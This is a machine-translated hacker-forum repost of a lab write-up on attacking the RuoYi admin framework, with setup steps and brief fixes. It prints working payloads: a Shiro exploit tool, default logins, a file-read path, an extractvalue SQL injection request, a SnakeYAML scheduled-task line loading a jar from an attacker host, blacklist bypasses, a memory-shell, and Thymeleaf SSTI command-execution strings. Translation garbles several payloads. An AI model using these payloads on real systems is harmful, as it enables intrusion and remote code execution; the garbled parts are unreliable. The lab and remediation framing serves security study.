跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

## 免责声明

本文仅供参考和学习交流。用户应对因使用本文提供的信息而造成的任何直接或间接的后果和损失承担全部责任。本文作者及本公众号团队对此不承担任何责任。请您在使用本文内容时仔细评估风险并做出独立判断。谢谢!

## 前言

由于演练中经常会遇到若一,因此专门搭建了一个射击场来重现漏洞并进行修复。本文涵盖靶场搭建、漏洞利用(前端shiro漏洞、弱口令、命令执行、代码执行、SSTI、文件下载、SQL注入、文件读取漏洞及绕过)以及漏洞修复方法。

## 文本

### 1.环境设置

[https://github.com/yangzongzhuan/RuoYi/releases?page=2](https://github.com/yangzongzhuan/RuoYi/releases?page=2) 1705633248_65a9e5e0bf7108577a302.png!small?1705633248517

- 由于存在该漏洞的版本有限,因此请选择4.5版本进行下载。下载后放入编辑器修改数据库连接配置1705633269_65a9e5f5c65de5920646b.png!small?1705633269673

- 然后使用maven打包1705633282_65a9e6020f69864875175.png!small?1705633281765

- 打包好的jar包在ruoyi-admin\target下

- 然后解决数据库问题,即创建库和导入表(我使用phpstudy for mysql)

\\# 创建数据库

创建数据库

\\# 导入两个.sql文件(两个.sql文件都在Ruoyi目录下的sql文件夹中)

````

mysql-uroot-p--default-character-set=utf8ryRuoYi-4.5.0\\RuoYi-4.5.0\\sql\\quartz.sqlmy sql-uroot-p--default-character-set=utf8ryRuoYi-4.5.0\\RuoYi-4.5.0\\sql\\ry_20201017.sql

````

这里有一个陷阱:如果你在Windows环境下构建目标无人机,可能会出现编码问题。

所以添加了导入命令

\\`--default-character-set=utf8\\`

- 最后只需将jar包放入目标机器中运行即可1705633353_65a9e6496d56c7cfcd43b.png!small?1705633353676

1705633361_65a9e651de2953d1f87ee.png!small?1705633362133

### 2.漏洞复现

首先看组件版本1705633385_65a9e6690c5ddaad450c0.png!small?1705633385196

**2.1。前端shiro反序列化漏洞**

漏洞验证:

注意:Shiro 1.4.2 版本后,Shiro 的加密模式从AES-CBC 更改为AES-GCM 1705633409_65a9e68125573c7a769de.png!small?1705633408881

漏洞利用工具:`https://github.com/Ares-X/shiro-exploit.git`

错误修复:

生成和使用密钥的正确方法已写在原始密钥旁边。您需要将默认密钥替换为以这种方式生成的新密钥来修复它。1705633424_65a9e690224719e62eab0.png!small?1705633423995

**2.2 后台默认密码**

漏洞验证:

admin/admin123为默认密码,可以登录后台

还有ry/admin123也可以登录后端1705633456_65a9e6b0575e62e763f1e.png!small?1705633456206

修复方法:后台头像有修改密码功能。1705633465_65a9e6b9995c50f1739cd.png!small?1705633465286

**2.3 文件读取**

漏洞验证:

在D:/ruoyi/目录下创建1.txt文件,然后发出GET请求

/common/download/resource?resource=/profile/./1.txt 1705633498_65a9e6dac6666d7dc24d9.png!small?1705633498678

注意:

````

http://IP/common/download/resource?resource=/profile/./1.txt#对应目录为\'D:/ruoyi/uploadPath\'+\'/./1.txt\'uploadPath目录不需要存在。

````

错误修复:

升级若仪版本到最新;添加文件下载验证。

**2.4 SQL注入**

漏洞验证:

进入后台后,拦截角色管理页面的请求包

- 角色编辑界面

-com/ruoyi/generator/controller/GenController下的/tool/gen/createTable路由

````

POST /system/role/list HTTP/1.1Host: 127.0.0.1Content-Length: 179sec-ch-ua: \'Chromium\';v=\'109\', \'Not_A Brand\';v=\'99\'Accept: application/json, text/javascript, /; q=0.01Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestsec-ch-ua-mobile:0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,如Gecko) Chrome/109.0.5414.120 Safari/537.36sec-ch-ua-platform: \'Windows\'Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/system/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closepageSize=pageNum=orderByColumn=isAsc=roleName=roleKey=status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=和extractvalue(1,concat(0x7e,(select数据库()),0x7e))

``1705633572_65a9e72453fb1845c51ad.png!small?1705633572093

错误修复:

升级到最新版本

注意\'${\'等字符串的拼接

**2.5 后台命令执行**

漏洞验证:

**若仪4.6.2**

可以在这个位置添加计划任务,ry用户也可以1705633603_65a9e743206654a1f8b24.png!small?1705633602972

org.yaml.snakeyaml.Yaml.load('!javax.script.ScriptEngineManager \\[!java.net.URLClassLoader \\[\\[!java.net.URL \\[\'http://攻击机ip/yaml-payload.jar\'\\]\\]\\]\\]')

但这里不能直接执行。需要从服务器调用外部jar包。此时需要一个可以请求的IP并打包一个jar包1705633622_65a9e756e9208883c2ca0.png!small?1705633622696

````

# 下载源文件https://github.com/artsploit/yaml-payload # 修改要执行的命令# 编译java文件javac src/artsploit/AwesomeScriptEngineFactory.java 或javac src\\artsploit\\AwesomeScriptEngineFactory.java# 打包成jar包jar -cvf yaml-payload.jar -C src/. # 将其放在服务器上并启动http服务。为了省事,请使用pythonpython3 -m http.server 端口号或python2 -m SimpleHTTPServer 端口号。

``1705633649_65a9e771e6a5344fe99bc.png!small?1705633649641

1705633655_65a9e777b42e5aaf6e08d.png!small?1705633655659

有时候命令执行会出现延迟,不要太心急,测试完后记得关掉定时任务,不然就变成纸牌了.1705633666_65a9e7825dec4ac261d41.png!small?1705633666876

旁路

版本4.6.2=Ruoyi4.7.2有黑名单,禁止调用ldap、http、https、rmi等协议。您可以使用符号来绕过它,也可以添加多个引号(偶数或奇数)。

\\[!java.net.URLClassLoader \\[\\[!java.net.URL \\[\'h't't'p'://127.0.0.1:88/yaml-payload.jar\'\\]\\]\\]\\]')

记忆马

````

# 下载https://github.com/lz2y/yaml-payload-for-ruoyi# 打包mvn clean package# 将计划任务改为打包后的jar包名,内存马使用说明中有。

``1705633697_65a9e7a1e11db49ac3e3d.png!small?1705633698311

错误修复:

添加通话白名单并升级至Zoyi最新版本。

**2.6 SSTI**

漏洞验证:

=thymeleaf-spring5:3.0.12

登录后访问/demo/form/localrefresh页面,点击刷新抓包,修改fragment参数值为payload 1705633723_65a9e7bba26f00c82bf53.png!small?1705633723459

1705633729_65a9e7c190ce4496185e3.png!small?1705633729366

\\# 有效负载

${T(java.lang.Runtime).getRuntime().exec(\'calc\')}

旁路

````

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\'calc\').getInputStream()).next()}__:x1;/__${T(java.lang.Runtime).getRuntime().exec(\'calc\')}__:x1__${T (java.lang.Runtime).getRuntime().exec(\'calc\')}__:x1__${T (java.lang.Runtime).getRuntime().exec(\'calc\')}__:x/1__${T %20( %0aRuntime %09). %0dgetRuntime %0a( %09) %0d。 %00exec('计算')} __:x

````

错误修复:

升级thymeleaf组件版本;限制对相关接口的访问。

### 参考文章

[https://xz.aliyun.com/t/11928](https://xz.aliyun.com/t/11928)

[https://www.cnblogs.com/wavewindsor/p/17880329.html](https://www.cnblogs.com/wavewindsor/p/17880329.html)

[https://www.cnpanda.net/sec/1063.html](https://www.cnpanda.net/sec/1063.html)

[https://cn-sec.com/archives/769549.html](https://cn-sec.com/archives/769549.html)

[https://mp.weixin.qq.com/s/dwd\\_Vy-pd4SZ1To-iXdFxw](https://mp.weixin.qq.com/s/dwd_Vy-pd4SZ1To-iXdFxw) 转载自freebuf: [https://www.freebuf.com/articles/web/390095.html](https://www.freebuf.com/articles/web/390095.html)作者:轩智安全实验室

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。